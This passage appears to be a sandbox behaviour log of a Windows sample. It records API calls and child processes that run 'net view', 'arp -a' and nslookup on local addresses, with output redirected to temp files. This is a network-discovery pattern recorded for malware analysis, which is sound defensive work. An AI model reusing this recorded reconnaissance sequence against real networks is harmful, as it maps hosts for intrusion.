dwFlags=0x0, lpMultiByteStr=0x22197b0, cbMultiByte=14, lpWideCharStr=0x90eb70, cchWideChar=14 | out: lpWideCharStr="igmp.mcast.net") returned 14 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ec80 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ed08 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ed08) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ed08 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0053.401] CryptAcquireContextW (in: phProv=0x53f584, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f584*=0x743fa0) returned 1 [0053.402] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f598 | out: pbBuffer=0x53f598) returned 1 [0053.402] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.402] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ed90 [0053.402] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.403] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.403] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.403] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.404] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.404] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.404] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.405] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.405] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.405] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.405] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.405] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.405] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.406] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.406] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.406] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.407] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.407] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.407] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="phn", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\phnCFC8.tmp" (normalized: "c:\\windows\\temp\\phncfc8.tmp")) returned 0xcfc8 [0053.408] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ed90) returned 1 [0053.408] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22144f8 [0053.408] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\phnCFC8.tmp", lpszShortPath=0x22144f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\phnCFC8.tmp") returned 0x1b [0053.408] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0053.408] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ed08) returned 1 [0053.408] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ed08 [0053.408] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0053.408] CryptAcquireContextW (in: phProv=0x53f584, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f584*=0x743fa0) returned 1 [0053.409] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f598 | out: pbBuffer=0x53f598) returned 1 [0053.409] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.409] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ed90 [0053.409] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.410] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.410] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.410] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.410] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.410] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.410] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.411] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.411] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.411] CryptAcquireContextW (in: phProv=0x53f580, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f580*=0x743fa0) returned 1 [0053.412] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f594 | out: pbBuffer=0x53f594) returned 1 [0053.412] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0053.412] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="e", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\eCFD9.tmp" (normalized: "c:\\windows\\temp\\ecfd9.tmp")) returned 0xcfd9 [0053.412] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ed90) returned 1 [0053.412] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2214900 [0053.412] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\eCFD9.tmp", lpszShortPath=0x2214900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\eCFD9.tmp") returned 0x19 [0053.413] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0053.413] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ed08) returned 1 [0053.413] CreateFileW (lpFileName="C:\\Windows\\TEMP\\phnCFC8.tmp" (normalized: "c:\\windows\\temp\\phncfc8.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f634, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0053.413] CreateFileW (lpFileName="C:\\Windows\\TEMP\\eCFD9.tmp" (normalized: "c:\\windows\\temp\\ecfd9.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f634, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0053.413] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\net.exe", lpCommandLine="C:\\Windows\\system32\\\\net.exe view igmp.mcast.net", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x53f674*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x144, hStdError=0x148), lpProcessInformation=0x53f640 | out: lpCommandLine="C:\\Windows\\system32\\\\net.exe view igmp.mcast.net", lpProcessInformation=0x53f640*(hProcess=0x150, hThread=0x14c, dwProcessId=0xbc4, dwThreadId=0xbc8)) returned 1 [0053.442] NtClose (Handle=0x14c) returned 0x0 [0053.442] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xea60) Thread: id = 339 os_tid = 0xaf4 Thread: id = 390 os_tid = 0x840 Thread: id = 391 os_tid = 0x838 Process: id = "23" image_name = "mobsync.exe" filename = "c:\\windows\\system32\\mobsync.exe" page_root = "0x4e2c3000" os_pid = "0x968" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x334" cmd_line = "C:\\Windows\\System32\\mobsync.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 327 os_tid = 0xa6c Thread: id = 328 os_tid = 0x9cc Thread: id = 329 os_tid = 0x9c8 Thread: id = 330 os_tid = 0x9bc Thread: id = 331 os_tid = 0x9a8 Thread: id = 332 os_tid = 0x9a4 Thread: id = 333 os_tid = 0x984 Thread: id = 334 os_tid = 0x978 Thread: id = 335 os_tid = 0x96c Thread: id = 337 os_tid = 0xaec Thread: id = 340 os_tid = 0xaf8 Process: id = "24" image_name = "arp.exe" filename = "c:\\windows\\system32\\arp.exe" page_root = "0x4bd57000" os_pid = "0xb04" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xa5c" cmd_line = "C:\\Windows\\system32\\\\arp.exe -a" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 344 os_tid = 0xb08 Thread: id = 347 os_tid = 0xb20 Process: id = "25" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x4a55d000" os_pid = "0xb28" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xa5c" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 349 os_tid = 0xb2c [0046.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1af750 | out: lpSystemTimeAsFileTime=0x1af750*(dwLowDateTime=0x30e9fbd0, dwHighDateTime=0x1d59598)) [0046.901] GetCurrentProcessId () returned 0xb28 [0046.901] GetCurrentThreadId () returned 0xb2c [0046.901] GetTickCount () returned 0x1145ed3 [0046.901] QueryPerformanceCounter (in: lpPerformanceCount=0x1af758 | out: lpPerformanceCount=0x1af758*=16713758689) returned 1 [0046.913] GetModuleHandleW (lpModuleName=0x0) returned 0xff370000 [0046.913] __set_app_type (_Type=0x1) [0046.913] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3809f8) returned 0x0 [0046.913] __getmainargs (in: _Argc=0xff38aa00, _Argv=0xff38aa10, _Env=0xff38aa08, _DoWildCard=0, _StartInfo=0xff38aa1c | out: _Argc=0xff38aa00, _Argv=0xff38aa10, _Env=0xff38aa08) returned 0 [0046.913] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.913] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0046.913] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff392e80 | out: lpWSAData=0xff392e80) returned 0 [0046.920] malloc (_Size=0x40) returned 0x1bdf30 [0046.920] socket (af=2, type=2, protocol=0) returned 0x6c [0046.923] closesocket (s=0x6c) returned 0 [0046.923] RtlIpv4StringToAddressA () returned 0x0 [0046.923] RtlInitAnsiString (in: DestinationString=0x1af5b0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0046.923] RtlAnsiStringToUnicodeString (in: DestinationString=0x1af5a0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0046.923] NtOpenKey (in: KeyHandle=0x1af678, DesiredAccess=0x20019, ObjectAttributes=0x1af5c0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x1af678*=0x6c) returned 0x0 [0046.923] RtlFreeAnsiString (AnsiString="\\") [0046.923] malloc (_Size=0x3200) returned 0x5c5ed0 [0046.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323980 [0046.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323d90 [0046.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x1af588, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0046.924] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x323980, Length=0x400, ResultLength=0x1af580 | out: KeyValueInformation=0x323980, ResultLength=0x1af580) returned 0xc0000034 [0046.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323d90) returned 1 [0046.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323980) returned 1 [0046.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323980 [0046.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323d90 [0046.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x1af588, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0046.924] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x323980, Length=0x400, ResultLength=0x1af580 | out: KeyValueInformation=0x323980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x1af580) returned 0x0 [0046.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323d90) returned 1 [0046.924] RtlUnicodeStringToAnsiString (in: DestinationString=0x1af598, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0046.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323980) returned 1 [0046.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323980 [0046.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323d90 [0046.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x1af588, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0046.924] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x323980, Length=0x400, ResultLength=0x1af580 | out: KeyValueInformation=0x323980, ResultLength=0x1af580) returned 0xc0000034 [0046.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323d90) returned 1 [0046.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323980) returned 1 [0046.924] RtlInitAnsiString (in: DestinationString=0x1af5b0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0046.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x1af5a0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0046.924] NtOpenKey (in: KeyHandle=0x1af680, DesiredAccess=0x20019, ObjectAttributes=0x1af5c0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x1af680*=0x0) returned 0xc0000034 [0046.924] RtlFreeAnsiString (AnsiString="\\") [0046.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323980 [0046.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323d90 [0046.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x1af588, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0046.925] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x323980, Length=0x400, ResultLength=0x1af580 | out: KeyValueInformation=0x323980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x1af580) returned 0x0 [0046.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323d90) returned 1 [0046.925] RtlUnicodeStringToAnsiString (in: DestinationString=0x1af598, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0046.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323980) returned 1 [0046.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323980 [0046.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x400) returned 0x323d90 [0046.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x1af588, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0046.925] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x323980, Length=0x400, ResultLength=0x1af580 | out: KeyValueInformation=0x323980, ResultLength=0x1af580) returned 0xc0000034 [0046.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323d90) returned 1 [0046.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x323980) returned 1 [0046.925] gethostname (in: name=0x5c5ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0046.966] free (_Block=0x5c5ed0) [0046.966] malloc (_Size=0x20) returned 0x5c5a50 [0046.966] getenv (_VarName="HOME") returned 0x0 [0046.966] DnsQueryConfigAllocEx () returned 0x1d21620 [0047.641] _vsnprintf (in: _DstBuf=0x1af530, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x19f4a8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0047.642] htons (hostshort=0x1) returned 0x100 [0047.642] htons (hostshort=0x1) returned 0x100 [0047.643] socket (af=2, type=2, protocol=0) returned 0x110 [0047.643] connect (s=0x110, name=0x1d21640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0047.644] send (s=0x110, buf=0x19f530*, len=42, flags=0) returned 42 [0047.645] select (in: nfds=272, readfds=0x18efa0, writefds=0x0, exceptfds=0x0, timeout=0x18ef78 | out: readfds=0x18efa0, writefds=0x0, exceptfds=0x0) returned 1 [0047.645] recv (in: s=0x110, buf=0x18f490, len=65536, flags=0 | out: buf=0x18f490*) returned 101 [0047.645] closesocket (s=0x110) returned 0 [0047.646] RtlIpv4AddressToStringExA () returned 0xc000000d [0047.646] DnsFreeConfigStructure () returned 0x2b70ea01 [0047.646] malloc (_Size=0xc) returned 0x1bdf80 [0047.646] strcpy_s (in: _Dst=0x1bdf80, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0047.646] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x32aba0 [0047.646] strcpy_s (in: _Dst=0xff393020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0047.646] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x1af3e8, nSize=0x0, Arguments=0x1af3e0 | out: lpBuffer="`\x9c3") returned 0x7 [0047.647] fprintf (in: _File=0x7fefdb62ab0, _Format="%-7s %s" | out: _File=0x7fefdb62ab0) returned 16 [0047.647] fprintf (in: _File=0x7fefdb62ab0, _Format="\nAddress:" | out: _File=0x7fefdb62ab0) returned 9 [0047.647] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0047.647] fprintf (in: _File=0x7fefdb62ab0, _Format="%c %s" | out: _File=0x7fefdb62ab0) returned 13 [0047.647] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\n" | out: _File=0x7fefdb62ab0) returned 2 [0047.647] RtlIpv4StringToAddressA () returned 0x0 [0047.647] _vsnprintf (in: _DstBuf=0x1af250, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x19f1c8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0047.647] htons (hostshort=0x2) returned 0x200 [0047.647] htons (hostshort=0x1) returned 0x100 [0047.647] socket (af=2, type=2, protocol=0) returned 0x110 [0047.648] connect (s=0x110, name=0x32abc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0047.648] send (s=0x110, buf=0x19f250*, len=42, flags=0) returned 42 [0047.648] select (in: nfds=272, readfds=0x18ecc0, writefds=0x0, exceptfds=0x0, timeout=0x18ec98 | out: readfds=0x18ecc0, writefds=0x0, exceptfds=0x0) returned 1 [0048.681] recv (in: s=0x110, buf=0x18f1b0, len=65536, flags=0 | out: buf=0x18f1b0*) returned 42 [0048.683] closesocket (s=0x110) returned 0 [0048.686] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x1af360, nSize=0x0, Arguments=0x1af368 | out: lpBuffer="ð\x8f1") returned 0x39 [0048.692] CharToOemBuffA (in: lpszSrc="*** UnKnown can't find 192.168.0.1: Non-existent domain\r\n", lpszDst=0x318ff0, cchDstLength=0x39 | out: lpszDst="*** UnKnown can't find 192.168.0.1: Non-existent domain\r\n") returned 1 [0048.692] _write (in: _FileHandle=2, _Buf=0x318ff0*, _MaxCharCount=0x39 | out: _Buf=0x318ff0*) returned 57 [0048.707] LocalFree (hMem=0x318ff0) returned 0x0 [0048.707] free (_Block=0x1bdf80) [0048.708] LocalFree (hMem=0x32aba0) returned 0x0 [0048.709] free (_Block=0x1bdf30) [0048.709] exit (_Code=0) Thread: id = 351 os_tid = 0xb40 Process: id = "26" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x4a962000" os_pid = "0xb50" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xa5c" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 355 os_tid = 0xb54 [0049.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29f890 | out: lpSystemTimeAsFileTime=0x29f890*(dwLowDateTime=0x32705d50, dwHighDateTime=0x1d59598)) [0049.456] GetCurrentProcessId () returned 0xb50 [0049.456] GetCurrentThreadId () returned 0xb54 [0049.456] GetTickCount () returned 0x11468d1 [0049.456] QueryPerformanceCounter (in: lpPerformanceCount=0x29f898 | out: lpPerformanceCount=0x29f898*=16969226157) returned 1 [0049.457] GetModuleHandleW (lpModuleName=0x0) returned 0xff0d0000 [0049.457] __set_app_type (_Type=0x1) [0049.457] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0e09f8) returned 0x0 [0049.457] __getmainargs (in: _Argc=0xff0eaa00, _Argv=0xff0eaa10, _Env=0xff0eaa08, _DoWildCard=0, _StartInfo=0xff0eaa1c | out: _Argc=0xff0eaa00, _Argv=0xff0eaa10, _Env=0xff0eaa08) returned 0 [0049.457] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0049.457] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0049.458] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff0f2e80 | out: lpWSAData=0xff0f2e80) returned 0 [0049.544] malloc (_Size=0x40) returned 0x2adf30 [0049.547] socket (af=2, type=2, protocol=0) returned 0x6c [0049.597] closesocket (s=0x6c) returned 0 [0049.599] RtlIpv4StringToAddressA () returned 0x0 [0049.604] RtlInitAnsiString (in: DestinationString=0x29f6f0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0049.604] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f6e0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0049.605] NtOpenKey (in: KeyHandle=0x29f7b8, DesiredAccess=0x20019, ObjectAttributes=0x29f700*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x29f7b8*=0x6c) returned 0x0 [0049.607] RtlFreeAnsiString 